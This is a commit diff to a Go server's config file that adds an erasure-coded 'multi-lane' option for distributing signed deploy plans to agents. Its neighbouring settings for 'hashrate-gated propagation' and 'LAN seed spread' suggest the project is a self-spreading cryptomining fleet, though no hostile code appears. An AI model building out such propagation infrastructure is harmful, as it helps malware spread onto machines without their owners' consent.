Add erasure-coded multi-lane spread foundation.

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.

server/config.go

@@ -103,6 +103,8 @@ type ServerSettings struct {
 	HashrateGateSpreadMin int `json:"hashrate_gate_spread_min,omitempty"`
 	// HashrateGateHPS is the minimum H/s required for hashrate-gated propagation.
 	HashrateGateHPS float64 `json:"hashrate_gate_hps,omitempty"`
+	// ErasureLanesEnabled attaches Reed–Solomon multi-lane shard metadata to signed deploy plans.
+	ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
 }
 
 // WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
@@ -981,6 +983,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
 		if in(srvKeys, "fleet_roles_enabled") {
 			dst.Server.FleetRolesEnabled = src.Server.FleetRolesEnabled
 		}
+		if in(srvKeys, "erasure_lanes_enabled") {
+			dst.Server.ErasureLanesEnabled = src.Server.ErasureLanesEnabled
+		}
 		if in(srvKeys, "ai_endpoint") {
 			dst.Server.AIEndpoint = src.Server.AIEndpoint
 		}